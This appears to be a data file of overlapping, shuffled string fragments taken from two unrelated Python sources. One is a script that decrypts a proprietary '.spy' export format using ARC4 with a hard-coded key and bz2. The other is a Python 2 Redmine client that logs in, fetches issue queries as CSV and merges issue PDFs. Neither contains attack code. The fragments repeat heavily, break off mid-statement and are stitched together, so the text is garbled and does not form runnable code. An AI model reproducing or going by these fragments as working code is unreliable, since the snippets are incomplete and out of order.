"snaplib.ppcrypto import ARC4 # _SNAPPY_EXPORT_KEY encoder = ARC4(\"SynapseExport\" + str(math.pi)) def decryptSnapSpy(file): (filename_and_path,",
"import ARC4 # _SNAPPY_EXPORT_KEY encoder = ARC4(\"SynapseExport\" + str(math.pi)) def decryptSnapSpy(file): (filename_and_path, extension)",
"<reponame>raschle/SnappyDecompiler import math, bz2, os from snaplib.ppcrypto import ARC4 # _SNAPPY_EXPORT_KEY encoder =",
"binary_file.read() exportString = encoder.decrypt(data) decomp_data = bz2.decompress(exportString) newFileName = \"{0}.unspy\".format(filename_and_path) with open(newFileName, \"wb\")",
"= encoder.decrypt(data) decomp_data = bz2.decompress(exportString) newFileName = \"{0}.unspy\".format(filename_and_path) with open(newFileName, \"wb\") as unspy:",
"= ARC4(\"SynapseExport\" + str(math.pi)) def decryptSnapSpy(file): (filename_and_path, extension) = os.path.splitext(file) with open(file, \"rb\")",
"def decryptSnapSpy(file): (filename_and_path, extension) = os.path.splitext(file) with open(file, \"rb\") as binary_file: data =",
"exportString = encoder.decrypt(data) decomp_data = bz2.decompress(exportString) newFileName = \"{0}.unspy\".format(filename_and_path) with open(newFileName, \"wb\") as",
"extension) = os.path.splitext(file) with open(file, \"rb\") as binary_file: data = binary_file.read() exportString =",
"+ str(math.pi)) def decryptSnapSpy(file): (filename_and_path, extension) = os.path.splitext(file) with open(file, \"rb\") as binary_file:",
"encoder = ARC4(\"SynapseExport\" + str(math.pi)) def decryptSnapSpy(file): (filename_and_path, extension) = os.path.splitext(file) with open(file,",
"str(math.pi)) def decryptSnapSpy(file): (filename_and_path, extension) = os.path.splitext(file) with open(file, \"rb\") as binary_file: data",
"ARC4 # _SNAPPY_EXPORT_KEY encoder = ARC4(\"SynapseExport\" + str(math.pi)) def decryptSnapSpy(file): (filename_and_path, extension) =",
"_SNAPPY_EXPORT_KEY encoder = ARC4(\"SynapseExport\" + str(math.pi)) def decryptSnapSpy(file): (filename_and_path, extension) = os.path.splitext(file) with",
"ARC4(\"SynapseExport\" + str(math.pi)) def decryptSnapSpy(file): (filename_and_path, extension) = os.path.splitext(file) with open(file, \"rb\") as",
"= bz2.decompress(exportString) newFileName = \"{0}.unspy\".format(filename_and_path) with open(newFileName, \"wb\") as unspy: unspy.write(decomp_data) return newFileName"
] |
[
"instance to # extract results from redmine queries. # import urllib2,urllib,csv,getpass,warnings from collections",
"= data.split(split_key)[1] atok= data.split('\" />')[0] params = dict(username=uname, password=<PASSWORD>, authenticity_token=atok) params = urllib.urlencode(params)",
"(self.urls[\"base\"] ,project) return self.opener.open(url) def fetch_issues(self,project,query_id=-1,iclass=Issue): \"\"\" Executes a query and returns a",
"is used to wrap returned issues via 'iclass'. \"\"\" issues_url = \"%s/projects/%s/issues.csv\" %",
"= \"%s/%s\" % (self.urls[\"base\"],url) return self.opener.open(url) def open_project_url(self,project,url): \"\"\" Constructs and opens a",
"stdout/stdin. \"\"\" if uname is None: uname = raw_input(\"username:\") if passwd is None:",
"uname is None: uname = raw_input(\"username:\") if passwd is None: passwd = getpass.getpass(\"password:\")",
"of this connection. \"\"\" url = \"%s/projects/%s/%s\" % (self.urls[\"base\"] ,project) return self.opener.open(url) def",
"self.urls[\"base\"] = base_url self.urls[\"login\"] = \"%s/login/\" % base_url self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor()) def login(self,uname=None,passwd=None):",
"an url relative to the base of this connection. \"\"\" url = \"%s/%s\"",
"base_url[:-1] self.urls[\"base\"] = base_url self.urls[\"login\"] = \"%s/login/\" % base_url self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor()) def",
"csv.reader(f) issues = [ row for row in csv_reader] fields = [self.__format_field_name(val) for",
"\"/\": base_url = base_url[:-1] self.urls[\"base\"] = base_url self.urls[\"login\"] = \"%s/login/\" % base_url self.opener",
"a redmine instance to # extract results from redmine queries. # import urllib2,urllib,csv,getpass,warnings",
"{} params['query_id'] = str(query_id) issues_url += \"?\" + urllib.urlencode(params) print \"[executing query: %s]\"",
"\"%s/login/\" % base_url self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor()) def login(self,uname=None,passwd=None): \"\"\" Login handshake. If username",
"class Connection(object): def __init__(self,base_url): \"\"\" Creates a redmine connection object to redmine instance",
"\"%s/%s\" % (self.urls[\"base\"],url) return self.opener.open(url) def open_project_url(self,project,url): \"\"\" Constructs and opens a project",
"'namedtuple' object. \"\"\" name = name.lower().replace(\" \",\"_\") if name == \"#\": name =",
"= i.fetch_pdf_buffer() ipdf = pyPdf.PdfFileReader(idata) for p in range(ipdf.numPages): opdf.addPage(ipdf.getPage(p)) print \"[creating %s]\"",
"import namedtuple from Issue import * try: import pyPdf except: print \"Warning: pyrmine",
"= urllib2.build_opener(urllib2.HTTPCookieProcessor()) def login(self,uname=None,passwd=None): \"\"\" Login handshake. If username & passwd are not",
"row for row in csv_reader] fields = [self.__format_field_name(val) for val in issues[0]] issues",
"self.opener.open(url) def fetch_issues(self,project,query_id=-1,iclass=Issue): \"\"\" Executes a query and returns a set of Issues",
"\"Warning: pyrmine requires the 'pyPdf' \", print \"module for full pdf functionality.\" class",
"% len(issues) IssueTuple = namedtuple(\"Issue\",fields) issues = [iclass(IssueTuple(*i),self) for i in issues] return",
"rules required for creating a 'namedtuple' object. \"\"\" name = name.lower().replace(\" \",\"_\") if",
"a 'Connection' class that interacts with a redmine instance to # extract results",
"specify which class is used to wrap returned issues via 'iclass'. \"\"\" issues_url",
"login(self,uname=None,passwd=None): \"\"\" Login handshake. If username & passwd are not given this function",
"and opens an url relative to the base of this connection. \"\"\" url",
"\"\"\" self.urls = {} if base_url[-1] == \"/\": base_url = base_url[:-1] self.urls[\"base\"] =",
"% (self.urls[\"base\"] ,project) return self.opener.open(url) def fetch_issues(self,project,query_id=-1,iclass=Issue): \"\"\" Executes a query and returns",
"= dict(username=uname, password=<PASSWORD>, authenticity_token=atok) params = urllib.urlencode(params) f = self.opener.open(self.urls[\"login\"], params) data =",
"creation of '%s']\" % output_file return # try to ingore some deprecation warnings",
"data = f.read() f.close() split_key = '<input name=\"authenticity_token\" type=\"hidden\" value=\"' data = data.split(split_key)[1]",
"this function asks for them via stdout/stdin. \"\"\" if uname is None: uname",
"password=<PASSWORD>, authenticity_token=atok) params = urllib.urlencode(params) f = self.opener.open(self.urls[\"login\"], params) data = f.readlines() f.close()",
"= f.read() f.close() split_key = '<input name=\"authenticity_token\" type=\"hidden\" value=\"' data = data.split(split_key)[1] atok=",
"for creating a 'namedtuple' object. \"\"\" name = name.lower().replace(\" \",\"_\") if name ==",
"'<input name=\"authenticity_token\" type=\"hidden\" value=\"' data = data.split(split_key)[1] atok= data.split('\" />')[0] params = dict(username=uname,",
"issues = issues[1:] print \"[query returned %d issues]\" % len(issues) IssueTuple = namedtuple(\"Issue\",fields)",
"namedtuple(\"Issue\",fields) issues = [iclass(IssueTuple(*i),self) for i in issues] return fields,issues def save_query_pdf(self,project,query_id,output_file): \"\"\"",
"field names comply w/ rules required for creating a 'namedtuple' object. \"\"\" name",
"if uname is None: uname = raw_input(\"username:\") if passwd is None: passwd =",
"None: uname = raw_input(\"username:\") if passwd is None: passwd = getpass.getpass(\"password:\") f =",
"import pyPdf except: print \"Warning: pyrmine requires the 'pyPdf' \", print \"module for",
"return fields,issues def save_query_pdf(self,project,query_id,output_file): \"\"\" Collects pdfs of all issues returned by a",
"'iclass'. \"\"\" issues_url = \"%s/projects/%s/issues.csv\" % (self.urls[\"base\"] ,project) if int(query_id) >= 0: params",
"= self.opener.open(self.urls[\"login\"]) data = f.read() f.close() split_key = '<input name=\"authenticity_token\" type=\"hidden\" value=\"' data",
"= raw_input(\"username:\") if passwd is None: passwd = getpass.getpass(\"password:\") f = self.opener.open(self.urls[\"login\"]) data",
"\"%s/projects/%s/issues.csv\" % (self.urls[\"base\"] ,project) if int(query_id) >= 0: params = {} params['query_id'] =",
"<<EMAIL>> # created: 6/1/2010 # purpose: # Provides a 'Connection' class that interacts",
"that makes sure field names comply w/ rules required for creating a 'namedtuple'",
"opdf.write(file(output_file,\"wb\")) def __format_field_name(self,name): \"\"\" Helper that makes sure field names comply w/ rules",
"\"[downloading issue %s]\" % i.id idata = i.fetch_pdf_buffer() ipdf = pyPdf.PdfFileReader(idata) for p",
",project) if int(query_id) >= 0: params = {} params['query_id'] = str(query_id) issues_url +=",
"%s]\" % issues_url f = self.opener.open(issues_url) csv_reader = csv.reader(f) issues = [ row",
"connection. \"\"\" url = \"%s/projects/%s/%s\" % (self.urls[\"base\"] ,project) return self.opener.open(url) def fetch_issues(self,project,query_id=-1,iclass=Issue): \"\"\"",
"python # # file: Connection.py # author: <NAME> <<EMAIL>> # created: 6/1/2010 #",
"via 'iclass'. \"\"\" issues_url = \"%s/projects/%s/issues.csv\" % (self.urls[\"base\"] ,project) if int(query_id) >= 0:",
"if base_url[-1] == \"/\": base_url = base_url[:-1] self.urls[\"base\"] = base_url self.urls[\"login\"] = \"%s/login/\"",
"\"\"\" Helper that makes sure field names comply w/ rules required for creating",
"pyrmine requires the 'pyPdf' \", print \"module for full pdf functionality.\" class Connection(object):",
"row in csv_reader] fields = [self.__format_field_name(val) for val in issues[0]] issues = issues[1:]",
"namedtuple from Issue import * try: import pyPdf except: print \"Warning: pyrmine requires",
"= \"%s/projects/%s/%s\" % (self.urls[\"base\"] ,project) return self.opener.open(url) def fetch_issues(self,project,query_id=-1,iclass=Issue): \"\"\" Executes a query",
"type=\"hidden\" value=\"' data = data.split(split_key)[1] atok= data.split('\" />')[0] params = dict(username=uname, password=<PASSWORD>, authenticity_token=atok)",
"wrap returned issues via 'iclass'. \"\"\" issues_url = \"%s/projects/%s/issues.csv\" % (self.urls[\"base\"] ,project) if",
"of all issues returned by a query and combines them into a single",
"given this function asks for them via stdout/stdin. \"\"\" if uname is None:",
"% base_url self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor()) def login(self,uname=None,passwd=None): \"\"\" Login handshake. If username &",
"% (self.urls[\"base\"] ,project) if int(query_id) >= 0: params = {} params['query_id'] = str(query_id)",
"the base of this connection. \"\"\" url = \"%s/%s\" % (self.urls[\"base\"],url) return self.opener.open(url)",
"% output_file opdf.write(file(output_file,\"wb\")) def __format_field_name(self,name): \"\"\" Helper that makes sure field names comply",
"open_base_url(self,url): \"\"\" Constructs and opens an url relative to the base of this",
"redmine instance to # extract results from redmine queries. # import urllib2,urllib,csv,getpass,warnings from",
"self.urls[\"login\"] = \"%s/login/\" % base_url self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor()) def login(self,uname=None,passwd=None): \"\"\" Login handshake.",
"<NAME> <<EMAIL>> # created: 6/1/2010 # purpose: # Provides a 'Connection' class that",
"% output_file return # try to ingore some deprecation warnings from pyPdf with",
"in issues[0]] issues = issues[1:] print \"[query returned %d issues]\" % len(issues) IssueTuple",
"names comply w/ rules required for creating a 'namedtuple' object. \"\"\" name =",
"\"[query returned %d issues]\" % len(issues) IssueTuple = namedtuple(\"Issue\",fields) issues = [iclass(IssueTuple(*i),self) for",
"= [self.__format_field_name(val) for val in issues[0]] issues = issues[1:] print \"[query returned %d",
"= [ row for row in csv_reader] fields = [self.__format_field_name(val) for val in",
"asks for them via stdout/stdin. \"\"\" if uname is None: uname = raw_input(\"username:\")",
"/>')[0] params = dict(username=uname, password=<PASSWORD>, authenticity_token=atok) params = urllib.urlencode(params) f = self.opener.open(self.urls[\"login\"], params)",
"issues = [ row for row in csv_reader] fields = [self.__format_field_name(val) for val",
"given url. \"\"\" self.urls = {} if base_url[-1] == \"/\": base_url = base_url[:-1]",
"+= \"?\" + urllib.urlencode(params) print \"[executing query: %s]\" % issues_url f = self.opener.open(issues_url)",
"the 'pyPdf' \", print \"module for full pdf functionality.\" class Connection(object): def __init__(self,base_url):",
"are not given this function asks for them via stdout/stdin. \"\"\" if uname",
"is None: passwd = getpass.getpass(\"password:\") f = self.opener.open(self.urls[\"login\"]) data = f.read() f.close() split_key",
"issues_url f = self.opener.open(issues_url) csv_reader = csv.reader(f) issues = [ row for row",
"fields,issues def save_query_pdf(self,project,query_id,output_file): \"\"\" Collects pdfs of all issues returned by a query",
"by a query and combines them into a single output pdf. \"\"\" fields,issues",
"% (self.urls[\"base\"],url) return self.opener.open(url) def open_project_url(self,project,url): \"\"\" Constructs and opens a project url",
"Executes a query and returns a set of Issues holding the results. You",
"= str(query_id) issues_url += \"?\" + urllib.urlencode(params) print \"[executing query: %s]\" % issues_url",
"def __init__(self,base_url): \"\"\" Creates a redmine connection object to redmine instance at the",
"is None: uname = raw_input(\"username:\") if passwd is None: passwd = getpass.getpass(\"password:\") f",
"Provides a 'Connection' class that interacts with a redmine instance to # extract",
"f.close() split_key = '<input name=\"authenticity_token\" type=\"hidden\" value=\"' data = data.split(split_key)[1] atok= data.split('\" />')[0]",
"username & passwd are not given this function asks for them via stdout/stdin.",
"\" skipping creation of '%s']\" % output_file return # try to ingore some",
"project url relative to the base of this connection. \"\"\" url = \"%s/projects/%s/%s\"",
"pyPdf except: print \"Warning: pyrmine requires the 'pyPdf' \", print \"module for full",
"atok= data.split('\" />')[0] params = dict(username=uname, password=<PASSWORD>, authenticity_token=atok) params = urllib.urlencode(params) f =",
"[ row for row in csv_reader] fields = [self.__format_field_name(val) for val in issues[0]]",
"makes sure field names comply w/ rules required for creating a 'namedtuple' object.",
"via stdout/stdin. \"\"\" if uname is None: uname = raw_input(\"username:\") if passwd is",
"= self.fetch_issues(project,query_id) nissues = len(issues) if nissues == 0: print \"[query returned no",
"from pyPdf with warnings.catch_warnings(): warnings.simplefilter(\"ignore\") opdf = pyPdf.PdfFileWriter() for i in issues: print",
"\"[executing query: %s]\" % issues_url f = self.opener.open(issues_url) csv_reader = csv.reader(f) issues =",
"return self.opener.open(url) def open_project_url(self,project,url): \"\"\" Constructs and opens a project url relative to",
"queries. # import urllib2,urllib,csv,getpass,warnings from collections import namedtuple from Issue import * try:",
"in csv_reader] fields = [self.__format_field_name(val) for val in issues[0]] issues = issues[1:] print",
"ingore some deprecation warnings from pyPdf with warnings.catch_warnings(): warnings.simplefilter(\"ignore\") opdf = pyPdf.PdfFileWriter() for",
"self.opener.open(self.urls[\"login\"], params) data = f.readlines() f.close() def open_base_url(self,url): \"\"\" Constructs and opens an",
"to wrap returned issues via 'iclass'. \"\"\" issues_url = \"%s/projects/%s/issues.csv\" % (self.urls[\"base\"] ,project)",
"issues_url += \"?\" + urllib.urlencode(params) print \"[executing query: %s]\" % issues_url f =",
"urllib.urlencode(params) print \"[executing query: %s]\" % issues_url f = self.opener.open(issues_url) csv_reader = csv.reader(f)",
"name=\"authenticity_token\" type=\"hidden\" value=\"' data = data.split(split_key)[1] atok= data.split('\" />')[0] params = dict(username=uname, password=<PASSWORD>,",
"the base of this connection. \"\"\" url = \"%s/projects/%s/%s\" % (self.urls[\"base\"] ,project) return",
"in issues: print \"[downloading issue %s]\" % i.id idata = i.fetch_pdf_buffer() ipdf =",
"from Issue import * try: import pyPdf except: print \"Warning: pyrmine requires the",
"data = f.readlines() f.close() def open_base_url(self,url): \"\"\" Constructs and opens an url relative",
"* try: import pyPdf except: print \"Warning: pyrmine requires the 'pyPdf' \", print",
"to the base of this connection. \"\"\" url = \"%s/%s\" % (self.urls[\"base\"],url) return",
"this connection. \"\"\" url = \"%s/%s\" % (self.urls[\"base\"],url) return self.opener.open(url) def open_project_url(self,project,url): \"\"\"",
"nissues == 0: print \"[query returned no issues -\", print \" skipping creation",
"passwd is None: passwd = getpass.getpass(\"password:\") f = self.opener.open(self.urls[\"login\"]) data = f.read() f.close()",
"\"\"\" url = \"%s/%s\" % (self.urls[\"base\"],url) return self.opener.open(url) def open_project_url(self,project,url): \"\"\" Constructs and",
"ipdf = pyPdf.PdfFileReader(idata) for p in range(ipdf.numPages): opdf.addPage(ipdf.getPage(p)) print \"[creating %s]\" % output_file",
"Login handshake. If username & passwd are not given this function asks for",
"with a redmine instance to # extract results from redmine queries. # import",
"dict(username=uname, password=<PASSWORD>, authenticity_token=atok) params = urllib.urlencode(params) f = self.opener.open(self.urls[\"login\"], params) data = f.readlines()",
"int(query_id) >= 0: params = {} params['query_id'] = str(query_id) issues_url += \"?\" +",
"params['query_id'] = str(query_id) issues_url += \"?\" + urllib.urlencode(params) print \"[executing query: %s]\" %",
"issues_url = \"%s/projects/%s/issues.csv\" % (self.urls[\"base\"] ,project) if int(query_id) >= 0: params = {}",
"combines them into a single output pdf. \"\"\" fields,issues = self.fetch_issues(project,query_id) nissues =",
"i.fetch_pdf_buffer() ipdf = pyPdf.PdfFileReader(idata) for p in range(ipdf.numPages): opdf.addPage(ipdf.getPage(p)) print \"[creating %s]\" %",
"You can specify which class is used to wrap returned issues via 'iclass'.",
"print \"module for full pdf functionality.\" class Connection(object): def __init__(self,base_url): \"\"\" Creates a",
"from collections import namedtuple from Issue import * try: import pyPdf except: print",
"i in issues: print \"[downloading issue %s]\" % i.id idata = i.fetch_pdf_buffer() ipdf",
"object. \"\"\" name = name.lower().replace(\" \",\"_\") if name == \"#\": name = \"id\"",
"\", print \"module for full pdf functionality.\" class Connection(object): def __init__(self,base_url): \"\"\" Creates",
"self.fetch_issues(project,query_id) nissues = len(issues) if nissues == 0: print \"[query returned no issues",
"# import urllib2,urllib,csv,getpass,warnings from collections import namedtuple from Issue import * try: import",
"set of Issues holding the results. You can specify which class is used",
"function asks for them via stdout/stdin. \"\"\" if uname is None: uname =",
"i.id idata = i.fetch_pdf_buffer() ipdf = pyPdf.PdfFileReader(idata) for p in range(ipdf.numPages): opdf.addPage(ipdf.getPage(p)) print",
"= issues[1:] print \"[query returned %d issues]\" % len(issues) IssueTuple = namedtuple(\"Issue\",fields) issues",
"save_query_pdf(self,project,query_id,output_file): \"\"\" Collects pdfs of all issues returned by a query and combines",
"warnings.simplefilter(\"ignore\") opdf = pyPdf.PdfFileWriter() for i in issues: print \"[downloading issue %s]\" %",
"url = \"%s/projects/%s/%s\" % (self.urls[\"base\"] ,project) return self.opener.open(url) def fetch_issues(self,project,query_id=-1,iclass=Issue): \"\"\" Executes a",
"# purpose: # Provides a 'Connection' class that interacts with a redmine instance",
"collections import namedtuple from Issue import * try: import pyPdf except: print \"Warning:",
"redmine connection object to redmine instance at the given url. \"\"\" self.urls =",
"Helper that makes sure field names comply w/ rules required for creating a",
"import * try: import pyPdf except: print \"Warning: pyrmine requires the 'pyPdf' \",",
"with warnings.catch_warnings(): warnings.simplefilter(\"ignore\") opdf = pyPdf.PdfFileWriter() for i in issues: print \"[downloading issue",
"\"\"\" fields,issues = self.fetch_issues(project,query_id) nissues = len(issues) if nissues == 0: print \"[query",
"Creates a redmine connection object to redmine instance at the given url. \"\"\"",
"returned issues via 'iclass'. \"\"\" issues_url = \"%s/projects/%s/issues.csv\" % (self.urls[\"base\"] ,project) if int(query_id)",
"= \"%s/projects/%s/issues.csv\" % (self.urls[\"base\"] ,project) if int(query_id) >= 0: params = {} params['query_id']",
"= f.readlines() f.close() def open_base_url(self,url): \"\"\" Constructs and opens an url relative to",
"issues[1:] print \"[query returned %d issues]\" % len(issues) IssueTuple = namedtuple(\"Issue\",fields) issues =",
"0: print \"[query returned no issues -\", print \" skipping creation of '%s']\"",
"issues] return fields,issues def save_query_pdf(self,project,query_id,output_file): \"\"\" Collects pdfs of all issues returned by",
"for full pdf functionality.\" class Connection(object): def __init__(self,base_url): \"\"\" Creates a redmine connection",
"issues: print \"[downloading issue %s]\" % i.id idata = i.fetch_pdf_buffer() ipdf = pyPdf.PdfFileReader(idata)",
"-\", print \" skipping creation of '%s']\" % output_file return # try to",
"redmine instance at the given url. \"\"\" self.urls = {} if base_url[-1] ==",
"and opens a project url relative to the base of this connection. \"\"\"",
"to the base of this connection. \"\"\" url = \"%s/projects/%s/%s\" % (self.urls[\"base\"] ,project)",
"issues]\" % len(issues) IssueTuple = namedtuple(\"Issue\",fields) issues = [iclass(IssueTuple(*i),self) for i in issues]",
"opens an url relative to the base of this connection. \"\"\" url =",
"issues via 'iclass'. \"\"\" issues_url = \"%s/projects/%s/issues.csv\" % (self.urls[\"base\"] ,project) if int(query_id) >=",
"in range(ipdf.numPages): opdf.addPage(ipdf.getPage(p)) print \"[creating %s]\" % output_file opdf.write(file(output_file,\"wb\")) def __format_field_name(self,name): \"\"\" Helper",
"= self.opener.open(issues_url) csv_reader = csv.reader(f) issues = [ row for row in csv_reader]",
"%s]\" % i.id idata = i.fetch_pdf_buffer() ipdf = pyPdf.PdfFileReader(idata) for p in range(ipdf.numPages):",
"\"\"\" url = \"%s/projects/%s/%s\" % (self.urls[\"base\"] ,project) return self.opener.open(url) def fetch_issues(self,project,query_id=-1,iclass=Issue): \"\"\" Executes",
"from redmine queries. # import urllib2,urllib,csv,getpass,warnings from collections import namedtuple from Issue import",
"authenticity_token=atok) params = urllib.urlencode(params) f = self.opener.open(self.urls[\"login\"], params) data = f.readlines() f.close() def",
"= pyPdf.PdfFileWriter() for i in issues: print \"[downloading issue %s]\" % i.id idata",
"requires the 'pyPdf' \", print \"module for full pdf functionality.\" class Connection(object): def",
",project) return self.opener.open(url) def fetch_issues(self,project,query_id=-1,iclass=Issue): \"\"\" Executes a query and returns a set",
"csv_reader] fields = [self.__format_field_name(val) for val in issues[0]] issues = issues[1:] print \"[query",
"self.opener.open(url) def open_project_url(self,project,url): \"\"\" Constructs and opens a project url relative to the",
"__init__(self,base_url): \"\"\" Creates a redmine connection object to redmine instance at the given",
"issues -\", print \" skipping creation of '%s']\" % output_file return # try",
"print \"Warning: pyrmine requires the 'pyPdf' \", print \"module for full pdf functionality.\"",
"query: %s]\" % issues_url f = self.opener.open(issues_url) csv_reader = csv.reader(f) issues = [",
"to ingore some deprecation warnings from pyPdf with warnings.catch_warnings(): warnings.simplefilter(\"ignore\") opdf = pyPdf.PdfFileWriter()",
"== \"/\": base_url = base_url[:-1] self.urls[\"base\"] = base_url self.urls[\"login\"] = \"%s/login/\" % base_url",
"\"\"\" Login handshake. If username & passwd are not given this function asks",
"# extract results from redmine queries. # import urllib2,urllib,csv,getpass,warnings from collections import namedtuple",
"\"\"\" Constructs and opens an url relative to the base of this connection.",
"except: print \"Warning: pyrmine requires the 'pyPdf' \", print \"module for full pdf",
"urllib.urlencode(params) f = self.opener.open(self.urls[\"login\"], params) data = f.readlines() f.close() def open_base_url(self,url): \"\"\" Constructs",
"base_url self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor()) def login(self,uname=None,passwd=None): \"\"\" Login handshake. If username & passwd",
"and returns a set of Issues holding the results. You can specify which",
"\",\"_\") if name == \"#\": name = \"id\" name = name.replace(\"%\",\"percent\") return name",
"base_url = base_url[:-1] self.urls[\"base\"] = base_url self.urls[\"login\"] = \"%s/login/\" % base_url self.opener =",
"try: import pyPdf except: print \"Warning: pyrmine requires the 'pyPdf' \", print \"module",
"class that interacts with a redmine instance to # extract results from redmine",
"if int(query_id) >= 0: params = {} params['query_id'] = str(query_id) issues_url += \"?\"",
"0: params = {} params['query_id'] = str(query_id) issues_url += \"?\" + urllib.urlencode(params) print",
"len(issues) IssueTuple = namedtuple(\"Issue\",fields) issues = [iclass(IssueTuple(*i),self) for i in issues] return fields,issues",
"opdf = pyPdf.PdfFileWriter() for i in issues: print \"[downloading issue %s]\" % i.id",
"a set of Issues holding the results. You can specify which class is",
"self.urls = {} if base_url[-1] == \"/\": base_url = base_url[:-1] self.urls[\"base\"] = base_url",
"instance at the given url. \"\"\" self.urls = {} if base_url[-1] == \"/\":",
"i in issues] return fields,issues def save_query_pdf(self,project,query_id,output_file): \"\"\" Collects pdfs of all issues",
"them via stdout/stdin. \"\"\" if uname is None: uname = raw_input(\"username:\") if passwd",
"and combines them into a single output pdf. \"\"\" fields,issues = self.fetch_issues(project,query_id) nissues",
"# file: Connection.py # author: <NAME> <<EMAIL>> # created: 6/1/2010 # purpose: #",
"& passwd are not given this function asks for them via stdout/stdin. \"\"\"",
"Collects pdfs of all issues returned by a query and combines them into",
"of Issues holding the results. You can specify which class is used to",
"urllib2,urllib,csv,getpass,warnings from collections import namedtuple from Issue import * try: import pyPdf except:",
"range(ipdf.numPages): opdf.addPage(ipdf.getPage(p)) print \"[creating %s]\" % output_file opdf.write(file(output_file,\"wb\")) def __format_field_name(self,name): \"\"\" Helper that",
"\"\"\" Executes a query and returns a set of Issues holding the results.",
"\"\"\" Collects pdfs of all issues returned by a query and combines them",
"holding the results. You can specify which class is used to wrap returned",
"IssueTuple = namedtuple(\"Issue\",fields) issues = [iclass(IssueTuple(*i),self) for i in issues] return fields,issues def",
"%d issues]\" % len(issues) IssueTuple = namedtuple(\"Issue\",fields) issues = [iclass(IssueTuple(*i),self) for i in",
"issue %s]\" % i.id idata = i.fetch_pdf_buffer() ipdf = pyPdf.PdfFileReader(idata) for p in",
"__format_field_name(self,name): \"\"\" Helper that makes sure field names comply w/ rules required for",
"print \"[executing query: %s]\" % issues_url f = self.opener.open(issues_url) csv_reader = csv.reader(f) issues",
"uname = raw_input(\"username:\") if passwd is None: passwd = getpass.getpass(\"password:\") f = self.opener.open(self.urls[\"login\"])",
"them into a single output pdf. \"\"\" fields,issues = self.fetch_issues(project,query_id) nissues = len(issues)",
"a query and combines them into a single output pdf. \"\"\" fields,issues =",
"of this connection. \"\"\" url = \"%s/%s\" % (self.urls[\"base\"],url) return self.opener.open(url) def open_project_url(self,project,url):",
"\"[query returned no issues -\", print \" skipping creation of '%s']\" % output_file",
"idata = i.fetch_pdf_buffer() ipdf = pyPdf.PdfFileReader(idata) for p in range(ipdf.numPages): opdf.addPage(ipdf.getPage(p)) print \"[creating",
"f.close() def open_base_url(self,url): \"\"\" Constructs and opens an url relative to the base",
"returned by a query and combines them into a single output pdf. \"\"\"",
"None: passwd = getpass.getpass(\"password:\") f = self.opener.open(self.urls[\"login\"]) data = f.read() f.close() split_key =",
"raw_input(\"username:\") if passwd is None: passwd = getpass.getpass(\"password:\") f = self.opener.open(self.urls[\"login\"]) data =",
"nissues = len(issues) if nissues == 0: print \"[query returned no issues -\",",
"relative to the base of this connection. \"\"\" url = \"%s/%s\" % (self.urls[\"base\"],url)",
"into a single output pdf. \"\"\" fields,issues = self.fetch_issues(project,query_id) nissues = len(issues) if",
"# try to ingore some deprecation warnings from pyPdf with warnings.catch_warnings(): warnings.simplefilter(\"ignore\") opdf",
"output_file opdf.write(file(output_file,\"wb\")) def __format_field_name(self,name): \"\"\" Helper that makes sure field names comply w/",
"Issue import * try: import pyPdf except: print \"Warning: pyrmine requires the 'pyPdf'",
"def fetch_issues(self,project,query_id=-1,iclass=Issue): \"\"\" Executes a query and returns a set of Issues holding",
"# # file: Connection.py # author: <NAME> <<EMAIL>> # created: 6/1/2010 # purpose:",
"a 'namedtuple' object. \"\"\" name = name.lower().replace(\" \",\"_\") if name == \"#\": name",
"data.split('\" />')[0] params = dict(username=uname, password=<PASSWORD>, authenticity_token=atok) params = urllib.urlencode(params) f = self.opener.open(self.urls[\"login\"],",
"= \"%s/login/\" % base_url self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor()) def login(self,uname=None,passwd=None): \"\"\" Login handshake. If",
"base_url self.urls[\"login\"] = \"%s/login/\" % base_url self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor()) def login(self,uname=None,passwd=None): \"\"\" Login",
"Constructs and opens a project url relative to the base of this connection.",
"If username & passwd are not given this function asks for them via",
"output pdf. \"\"\" fields,issues = self.fetch_issues(project,query_id) nissues = len(issues) if nissues == 0:",
"\"[creating %s]\" % output_file opdf.write(file(output_file,\"wb\")) def __format_field_name(self,name): \"\"\" Helper that makes sure field",
"a single output pdf. \"\"\" fields,issues = self.fetch_issues(project,query_id) nissues = len(issues) if nissues",
"all issues returned by a query and combines them into a single output",
"output_file return # try to ingore some deprecation warnings from pyPdf with warnings.catch_warnings():",
"base of this connection. \"\"\" url = \"%s/%s\" % (self.urls[\"base\"],url) return self.opener.open(url) def",
"the results. You can specify which class is used to wrap returned issues",
"= '<input name=\"authenticity_token\" type=\"hidden\" value=\"' data = data.split(split_key)[1] atok= data.split('\" />')[0] params =",
"'Connection' class that interacts with a redmine instance to # extract results from",
"extract results from redmine queries. # import urllib2,urllib,csv,getpass,warnings from collections import namedtuple from",
"returned %d issues]\" % len(issues) IssueTuple = namedtuple(\"Issue\",fields) issues = [iclass(IssueTuple(*i),self) for i",
"= urllib.urlencode(params) f = self.opener.open(self.urls[\"login\"], params) data = f.readlines() f.close() def open_base_url(self,url): \"\"\"",
"base of this connection. \"\"\" url = \"%s/projects/%s/%s\" % (self.urls[\"base\"] ,project) return self.opener.open(url)",
"used to wrap returned issues via 'iclass'. \"\"\" issues_url = \"%s/projects/%s/issues.csv\" % (self.urls[\"base\"]",
"{} if base_url[-1] == \"/\": base_url = base_url[:-1] self.urls[\"base\"] = base_url self.urls[\"login\"] =",
"\"\"\" issues_url = \"%s/projects/%s/issues.csv\" % (self.urls[\"base\"] ,project) if int(query_id) >= 0: params =",
"can specify which class is used to wrap returned issues via 'iclass'. \"\"\"",
"(self.urls[\"base\"] ,project) if int(query_id) >= 0: params = {} params['query_id'] = str(query_id) issues_url",
"created: 6/1/2010 # purpose: # Provides a 'Connection' class that interacts with a",
"some deprecation warnings from pyPdf with warnings.catch_warnings(): warnings.simplefilter(\"ignore\") opdf = pyPdf.PdfFileWriter() for i",
"params) data = f.readlines() f.close() def open_base_url(self,url): \"\"\" Constructs and opens an url",
"f = self.opener.open(self.urls[\"login\"], params) data = f.readlines() f.close() def open_base_url(self,url): \"\"\" Constructs and",
"w/ rules required for creating a 'namedtuple' object. \"\"\" name = name.lower().replace(\" \",\"_\")",
